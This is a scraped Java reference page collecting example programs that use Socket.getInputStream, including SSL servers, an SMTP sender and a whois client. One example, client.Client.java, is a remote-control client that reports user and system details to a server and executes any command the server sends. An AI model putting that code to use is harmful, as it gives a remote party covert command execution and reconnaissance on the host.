Example usage for java.net Socket getInputStream

List of usage examples for java.net Socket getInputStream

Introduction

In this page you can find the example usage for java.net Socket getInputStream.

Prototype

public InputStream getInputStream() throws IOException 

Source Link

Document

Returns an input stream for this socket.

Usage

From source file:MainClass.java

public static void main(String args[]) throws Exception {
    FileOutputStream fouts = null;
    System.setProperty("javax.net.ssl.trustStore", "clienttrust");
    SSLSocketFactory ssf = (SSLSocketFactory) SSLSocketFactory.getDefault();
    Socket s = ssf.createSocket("127.0.0.1", 5432);

    OutputStream outs = s.getOutputStream();
    PrintStream out = new PrintStream(outs);
    InputStream ins = s.getInputStream();
    BufferedReader in = new BufferedReader(new InputStreamReader(ins));

    out.println(args[0]);/*from w  w  w  .  j a  v  a2  s  .  c  om*/
    fouts = new FileOutputStream("result.html");
    //  fouts = new FileOutputStream("result.gif");
    int kk;
    while ((kk = ins.read()) != -1) {
        fouts.write(kk);
    }
    in.close();
    fouts.close();
}

From source file:MainClass.java

public static void main(String[] args) throws IOException {
    SSLServerSocketFactory ssf = (SSLServerSocketFactory) SSLServerSocketFactory.getDefault();
    ServerSocket ss = ssf.createServerSocket(8080);

    while (true) {
        try {/*  w  w  w. j  a va2  s . c om*/
            Socket s = ss.accept();
            OutputStream out = s.getOutputStream();
            BufferedReader in = new BufferedReader(new InputStreamReader(s.getInputStream()));

            String line = null;
            while (((line = in.readLine()) != null) && (!("".equals(line)))) {
                System.out.println(line);
            }
            StringBuffer buffer = new StringBuffer();
            buffer.append("<HTML><HEAD><TITLE>HTTPS Server</TITLE></HEAD>\n");
            buffer.append("<BODY>\n<H1>Success!</H1></BODY></HTML>\n");

            String string = buffer.toString();
            byte[] data = string.getBytes();
            out.write("HTTP/1.0 200 OK\n".getBytes());
            out.write(new String("Content-Length: " + data.length + "\n").getBytes());
            out.write("Content-Type: text/html\n\n".getBytes());
            out.write(data);
            out.flush();

            out.close();
            in.close();
            s.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

From source file:SquareClient.java

public static void main(String args[]) throws Exception {
    String server = args[0];/*from   w w  w .ja  v  a 2s  .  co  m*/
    int port = Integer.parseInt(args[1]);
    double value = Double.valueOf(args[2]).doubleValue();

    Socket s = new Socket(server, port);
    OutputStream os = s.getOutputStream();
    DataOutputStream dos = new DataOutputStream(os);
    dos.writeDouble(value);

    InputStream is = s.getInputStream();
    DataInputStream dis = new DataInputStream(is);
    value = dis.readDouble();

    System.out.println(value);
    s.close();
}

From source file:MainClass.java

public static void main(String[] args) throws IOException {
    SSLServerSocketFactory ssf = (SSLServerSocketFactory) SSLServerSocketFactory.getDefault();
    SSLServerSocket ss = (SSLServerSocket) ssf.createServerSocket(8080);
    ss.setNeedClientAuth(true);//  ww w .  j a  v  a  2  s.co  m

    while (true) {
        try {
            Socket s = ss.accept();
            OutputStream out = s.getOutputStream();
            BufferedReader in = new BufferedReader(new InputStreamReader(s.getInputStream()));
            String line = null;
            while (((line = in.readLine()) != null) && (!("".equals(line)))) {
                System.out.println(line);
            }
            System.out.println("");

            StringBuffer buffer = new StringBuffer();
            buffer.append("<HTML>\n");
            buffer.append("<HEAD><TITLE>HTTPS Server</TITLE></HEAD>\n");
            buffer.append("<BODY>\n");
            buffer.append("<H1>Success!</H1>\n");
            buffer.append("</BODY>\n");
            buffer.append("</HTML>\n");

            String string = buffer.toString();
            byte[] data = string.getBytes();
            out.write("HTTP/1.0 200 OK\n".getBytes());
            out.write(new String("Content-Length: " + data.length + "\n").getBytes());
            out.write("Content-Type: text/html\n\n".getBytes());
            out.write(data);
            out.flush();

            out.close();
            in.close();
            s.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

From source file:Main.java

public static void main(String[] args) throws Exception {
    String host = "host";
    int port = 25;
    String from = "from@from.net";
    String toAddr = "to@to.net";

    Socket servSocket = new Socket(host, port);
    DataOutputStream os = new DataOutputStream(servSocket.getOutputStream());
    DataInputStream is = new DataInputStream(servSocket.getInputStream());

    if (servSocket != null && os != null && is != null) {
        os.writeBytes("HELO\r\n");
        os.writeBytes("MAIL From:" + from + " \r\n");
        os.writeBytes("RCPT To:" + toAddr + "\r\n");
        os.writeBytes("DATA\r\n");
        os.writeBytes("X-Mailer: Java\r\n");
        os.writeBytes(// w w w.ja  v a 2  s  .co  m
                "DATE: " + DateFormat.getDateInstance(DateFormat.FULL, Locale.US).format(new Date()) + "\r\n");
        os.writeBytes("From:" + from + "\r\n");
        os.writeBytes("To:" + toAddr + "\r\n");
    }

    os.writeBytes("Subject:\r\n");
    os.writeBytes("body\r\n");
    os.writeBytes("\r\n.\r\n");
    os.writeBytes("QUIT\r\n");
    String responseline;
    while ((responseline = is.readUTF()) != null) {
        if (responseline.indexOf("Ok") != -1)
            break;
    }
}

From source file:client.Client.java

/**
 * @param args the command line arguments
 *///ww  w  . j a  v a2s.com
public static void main(String[] args) throws Exception {
    Socket st = new Socket("127.0.0.1", 1604);
    BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream()));
    PrintWriter p = new PrintWriter(st.getOutputStream());

    while (true) {
        String s = r.readLine();
        new Thread() {
            @Override
            public void run() {
                String[] ar = s.split("\\|");
                if (s.startsWith("HALLO")) {
                    String str = "";
                    try {
                        str = InetAddress.getLocalHost().getHostName();
                    } catch (Exception e) {
                    }
                    p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|"
                            + System.getProperty("os.name") + "|" + str);
                    p.flush();
                }
                if (s.startsWith("msg")) {
                    String text = fromHex(ar[1]);
                    String title = ar[2];
                    int i = Integer.parseInt(ar[3]);
                    JOptionPane.showMessageDialog(null, text, title, i);
                }
                if (s.startsWith("execute")) {
                    String cmd = ar[1];
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (Exception e) {
                    }
                }
                if (s.equals("getsystem")) {
                    StringBuilder sb = new StringBuilder();
                    for (Object o : System.getProperties().entrySet()) {
                        Map.Entry e = (Map.Entry) o;
                        sb.append("\n" + e.getKey() + "|" + e.getValue());

                    }
                    p.println("systeminfos|" + toHex(sb.toString().substring(1)));
                    p.flush();
                }
            }

        }.start();
    }
}

From source file:MainClass.java

public static void main(String[] args) throws Exception {

    String serverName = System.getProperty("WHOIS_SERVER", DEFAULT_HOST);

    InetAddress server = null;//  w  w w .  j  a  va2 s. c  o m
    server = InetAddress.getByName(serverName);
    Socket theSocket = new Socket(server, DEFAULT_PORT);
    Writer out = new OutputStreamWriter(theSocket.getOutputStream(), "8859_1");
    out.write("\r\n");
    out.flush();
    InputStream raw = theSocket.getInputStream();
    InputStream in = new BufferedInputStream(theSocket.getInputStream());
    int c;
    while ((c = in.read()) != -1)
        System.out.write(c);
}

From source file:Main.java

public static void main(String args[]) throws Exception {
    ServerSocket ssock = new ServerSocket(1234);
    Socket sock = ssock.accept();
    ssock.close();/* ww w  .  j a  v a2s  .co m*/

    PrintStream pstream = new PrintStream(sock.getOutputStream());
    pstream.print("count? ");
    BufferedReader input = new BufferedReader(new InputStreamReader(sock.getInputStream()));
    String line = input.readLine();
    pstream.println("");
    int count = Integer.parseInt(line);
    for (int i = count; i >= 0; i--) {
        pstream.println(i);
    }
    pstream.close();
    sock.close();
}

From source file:MainClass.java

public static void main(String args[]) throws Exception {
    SSLServerSocketFactory ssf = (SSLServerSocketFactory) SSLServerSocketFactory.getDefault();
    ServerSocket ss = ssf.createServerSocket(443);
    while (true) {
        Socket s = ss.accept();
        PrintStream out = new PrintStream(s.getOutputStream());
        BufferedReader in = new BufferedReader(new InputStreamReader(s.getInputStream()));
        String info = null;//from  w w w .  j a v a2 s  .  co  m
        String request = null;
        String refer = null;

        while ((info = in.readLine()) != null) {
            if (info.startsWith("GET")) {
                request = info;
            }
            if (info.startsWith("Referer:")) {
                refer = info;
            }
            if (info.equals(""))
                break;
        }
        if (request != null) {
            out.println("HTTP/1.0 200 OK\nMIME_version:1.0\nContent_Type:text/html");
            int sp1 = request.indexOf(' ');
            int sp2 = request.indexOf(' ', sp1 + 1);
            String filename = request.substring(sp1 + 2, sp2);
            if (refer != null) {
                sp1 = refer.indexOf(' ');
                refer = refer.substring(sp1 + 1, refer.length());
                if (!refer.endsWith("/")) {
                    refer = refer + "/";
                }
                filename = refer + filename;
            }
            URL con = new URL(filename);
            InputStream gotoin = con.openStream();
            int n = gotoin.available();
            byte buf[] = new byte[1024];
            out.println("HTTP/1.0 200 OK\nMIME_version:1.0\nContent_Type:text/html");
            out.println("Content_Length:" + n + "\n");
            while ((n = gotoin.read(buf)) >= 0) {
                out.write(buf, 0, n);
            }
            out.close();
            s.close();
            in.close();
        }
    }
}

From source file:SimpleSocketServer.java

public static void main(String args[]) throws Exception {
        Socket socket;
        int portNumber = 1777;
        String str = "";

        socket = new Socket(InetAddress.getLocalHost(), portNumber);

        ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
        str = (String) ois.readObject();
        System.out.println(str);//from w w w. j  av  a2s  . c  o  m
    }